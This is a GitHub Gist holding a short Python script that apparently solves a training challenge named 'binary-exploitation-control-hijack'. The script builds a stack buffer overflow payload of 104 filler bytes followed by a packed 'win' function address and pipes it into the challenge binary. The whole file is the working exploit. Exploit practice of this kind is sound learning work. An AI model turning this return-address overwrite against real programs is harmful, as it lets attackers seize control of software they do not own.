Created
November 24, 2024 08:06
-
-
Save morkev/f734e7ca8f68cfd5dd8580c7eb021f5a to your computer and use it in GitHub Desktop.
Binary Exploitation Control Hijack Hard
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
################################################################## | |
# HOW TO RUN THIS PUPPY: | |
# python3 poo.py > /dev/null | |
# wc -c payload.bin | |
# python3 poo.py | /challenge/binary-exploitation-control-hijack | |
################################################################## | |
import struct | |
import sys | |
offset_to_return = 104 # Calculated offset | |
win_address = 0x40188f # From GDB disassembly | |
payload = b"A" * offset_to_return | |
payload += struct.pack("<Q", win_address) | |
with open("payload.bin", "wb") as f: | |
f.write(payload) | |
sys.stdout.buffer.write(payload) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment